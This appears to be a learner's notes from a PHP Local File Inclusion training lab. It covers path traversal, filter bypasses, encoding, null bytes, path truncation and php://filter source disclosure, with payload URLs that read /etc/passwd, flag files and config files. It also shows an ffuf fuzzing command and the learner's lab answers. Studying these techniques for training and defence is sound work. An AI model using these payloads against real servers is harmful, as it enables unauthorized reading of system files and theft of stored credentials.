File Disclosure
Local File Inclusion (LFI)
Basic LFI
If we select a language by clicking on it (e.g. Spanish
), we see that the content text changes to spanish:

So, if the web application is indeed pulling a file that is now being included in the page, we may be able to change the file being pulled to read the content of a different local file. Two common readable files that are available on most back-end servers are /etc/passwd
on Linux and C:\Windows\boot.ini
on Windows. So, let's change the parameter from es
to /etc/passwd
:
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

Path Traversal
In this case, if we attempt to read /etc/passwd
, then the path passed to include()
would be (./languages//etc/passwd
), and as this file does not exist, we will not be able to read anything:

As expected, the verbose error returned shows us the string passed to the include()
function, stating that there is no /etc/passwd
in the languages directory.
Note: We are only enabling PHP errors on this web application for educational purposes, so we can properly understand how the web application is handling our input. For production web applications, such errors should never be shown. Furthermore, all of our attacks should be possible without errors, as they do not rely on them.
We can easily bypass this restriction by traversing directories using relative paths
. To do so, we can add ../
before our file name, which refers to the parent directory. For example, if the full path of the languages directory is /var/www/html/languages/
, then using ../index.php
would refer to the index.php
file on the parent directory (i.e. /var/www/html/index.php
).
So, we can use this trick to go back several directories until we reach the root path (i.e. /
), and then specify our absolute file path (e.g. ../../../../etc/passwd
), and the file should exist:
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd

Tip: It can always be useful to be efficient and not add unnecessary
../
several times, especially if we were writing a report or writing an exploit. So, always try to find the minimum number of../
that works and use it. You may also be able to calculate how many directories you are away from the root path and use that many. For example, with/var/www/html/
we are3
directories away from the root path, so we can use../
3 times (i.e.../../../
).
Filename Prefix
In our previous example, we used the language
parameter after the directory, so we could traverse the path to read the passwd
file. On some occasions, our input may be appended after a different string. For example, it may be used with a prefix to get the full filename, like the following example:
include("lang_" . $_GET['language']);
In this case, if we try to traverse the directory with ../../../etc/passwd
, the final string would be lang_../../../etc/passwd
, which is invalid:
http://<SERVER_IP>:<PORT>/index.php?language=../../../etc/passwd

As expected, the error tells us that this file does not exist. so, instead of directly using path traversal, we can prefix a /
before our payload, and this should consider the prefix as a directory, and then we should bypass the filename and be able to traverse directories:
http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd

Note: This may not always work, as in this example a directory named
lang_/
may not exist, so our relative path may not be correct. Furthermore,any prefix appended to our input may break some file inclusion techniques
we will discuss in upcoming sections, like using PHP wrappers and filters or RFI.
Appended Extensions
Another very common example is when an extension is appended to the language
parameter, as follows:
include($_GET['language'] . ".php");
This is quite common, as in this case, we would not have to write the extension every time we need to change the language. This may also be safer as it may restrict us to only including PHP files. In this case, if we try to read /etc/passwd
, then the file included would be /etc/passwd.php
, which does not exist:
http://<SERVER_IP>:<PORT>/extension/index.php?language=/etc/passwd

There are several techniques that we can use to bypass this, and we will discuss them in upcoming sections.
PoCs - Questions
Using the file inclusion find the name of a user on the system that starts with "b".
http://83.136.249.246:40300/index.php?language=../../../../../etc/passwd

Submit the contents of the flag.txt file located in the /usr/share/flags directory.
http://83.136.249.246:40300/index.php?language=../../../../../usr/share/flags/flag.txt

Basic Bypasses
Non-Recursive Path Traversal Filters
One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of (../
) to avoid path traversals. For example:
$language = str_replace('../', '', $_GET['language']);
The above code is supposed to prevent path traversal, and hence renders LFI useless. If we try the LFI payloads we tried in the previous section, we get the following:
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd

We see that all ../
substrings were removed, which resulted in a final path being ./languages/etc/passwd
. However, this filter is very insecure, as it is not recursively removing
the ../
substring, as it runs a single time on the input string and does not apply the filter on the output string. For example, if we use ....//
as our payload, then the filter would remove ../
and the output string would be ../
, which means we may still perform path traversal. Let's try applying this logic to include /etc/passwd
again:
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

As we can see, the inclusion was successful this time, and we're able to read /etc/passwd
successfully. The ....//
substring is not the only bypass we can use, as we may use ..././
or ....\/
and several other recursive LFI payloads. Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. ....\/
), or adding extra forward slashes (e.g. ....////
)
Encoding
If the target web application did not allow .
and /
in our input, we can URL encode ../
into %2e%2e%2f
, which may bypass the filter. To do so, we can use any online URL encoder utility or use the Burp Suite Decoder tool, as follows:

Note: For this to work we must URL encode all characters, including the dots. Some URL encoders may not encode dots as they are considered to be part of the URL scheme.
Let's try to use this encoded LFI payload against our earlier vulnerable web application that filters ../
strings:
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Approved Paths
Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path. For example, the web application we have been dealing with may only accept paths that are under the ./languages
directory, as follows:
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
To find the approved path, we can examine the requests sent by the existing forms, and see what path they use for the normal web functionality. Furthermore, we can fuzz web directories under the same path, and try different ones until we get a match. To bypass this, we may use path traversal and start our payload with the approved path, and then use ../
to go back to the root directory and read the file we specify, as follows:
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Note: All techniques mentioned so far should work with any LFI vulnerability, regardless of the back-end development language or framework.
Appended Extension
There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4
. However, it may still be beneficial to mention them, as some web applications may still be running on older servers, and these techniques may be the only bypasses possible.
Path Truncation
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated
, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.
) then the /.
would also be truncated, and PHP would call (/etc/passwd
). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd
is the same as /etc/passwd
). Similarly, a current directory shortcut (.
) in the middle of the path would also be disregarded (e.g. /etc/./passwd
).
If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (.php
) would be truncated, and we would have a path without an appended extension. Finally, it is also important to note that we would also need to start the path with a non-existing directory
for this technique to work.
An example of such payload would be the following:
?language=non_existing_directory/../../../etc/passwd/./././././ REPEATED ~2048 times]
Of course, we don't have to manually type ./
2048 times (total of 4096 characters), but we can automate the creation of this string with the following command:
eldeim@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
We may also increase the count of ../
, as adding more would still land us in the root directory, as explained in the previous section. However, if we use this method, we should calculate the full length of the string to ensure only .php
gets truncated and not our requested file at the end of the string (/etc/passwd
). This is why it would be easier to use the first method.
Null Bytes
PHP versions before 5.5 were vulnerable to null byte injection
, which means that adding a null byte (%00
) at the end of the string would terminate the string and not consider anything after it. This is due to how strings are stored in low-level memory, where strings in memory must use a null byte to indicate the end of the string, as seen in Assembly, C, or C++ languages.
To exploit this vulnerability, we can end our payload with a null byte (e.g. /etc/passwd%00
), such that the final path passed to include()
would be (/etc/passwd%00.php
). This way, even though .php
is appended to our string, anything after the null byte would be truncated, and so the path used would actually be /etc/passwd
, leading us to bypass the appended extension.
PoCs - Questions
The above web application employs more than one filter to avoid LFI exploitation. Try to bypass these filters to read /flag.txt
http://94.237.60.55:49996/index.php?language=languages/....//....//....//....//flag.txt

PHP Filters
Input Filters
The first step would be to fuzz for different available PHP pages with a tool like ffuf
or gobuster
, as covered in the Attacking Web Applications with Ffuf module:
eldeim@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
...SNIP...
index [Status: 200, Size: 2652, Words: 690, Lines: 64]
config [Status: 302, Size: 0, Words: 1, Lines: 1]
Tip: Unlike normal web application usage, we are not restricted to pages with HTTP response code 200, as we have local file inclusion access, so we should be scanning for all codes, including `301`, `302` and `403` pages, and we should be able to read their source code as well.
Standard PHP Inclusion
In previous sections, if you tried to include any php files through LFI, you would have noticed that the included PHP file gets executed, and eventually gets rendered as a normal HTML page. For example, let's try to include the config.php
page (.php
extension appended by web application):
http://<SERVER_IP>:<PORT>/index.php?language=config
As we can see, we get an empty result in place of our LFI string, since the config.php
most likely only sets up the web app configuration and does not render any HTML output.
This may be useful in certain cases, like accessing local PHP pages we do not have access over (i.e. SSRF), but in most cases, we would be more interested in reading the PHP source code through LFI, as source codes tend to reveal important information about the web application. This is where the base64
php filter gets useful, as we can use it to base64 encode the php file, and then we would get the encoded source code instead of having it being executed and rendered
Source Code Disclosure
Once we have a list of potential PHP files we want to read, we can start disclosing their sources with the base64
PHP filter. Let's try to read the source code of config.php
using the base64 filter, by specifying convert.base64-encode
for the read
parameter and config
for the resource
parameter, as follows:
php://filter/read=convert.base64-encode/resource=config
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config

Note: We intentionally left the resource file at the end of our string, as the
.php
extension is automatically appended to the end of our input string, which would make the resource we specified beconfig.php
.
As we can see, unlike our attempt with regular LFI, using the base64 filter returned an encoded string instead of the empty result we saw earlier. We can now decode this string to get the content of the source code of config.php
, as follows:
eldeim@htb[/htb]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
...SNIP...
if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
header('HTTP/1.0 403 Forbidden', TRUE, 403);
die(header('location: /index.php'));
}
...SNIP...
PoCs - Questions
Fuzz the web application for other php scripts, and then read one of the configuration files and submit the database password as the answer
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://94.237.60.55:39350/FUZZ.php
---
configure [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
Then get the content with base64 wrapper -->
http://94.237.60.55:39350/index.php?language=php://filter/read=convert.base64-encode/resource=configure


Last updated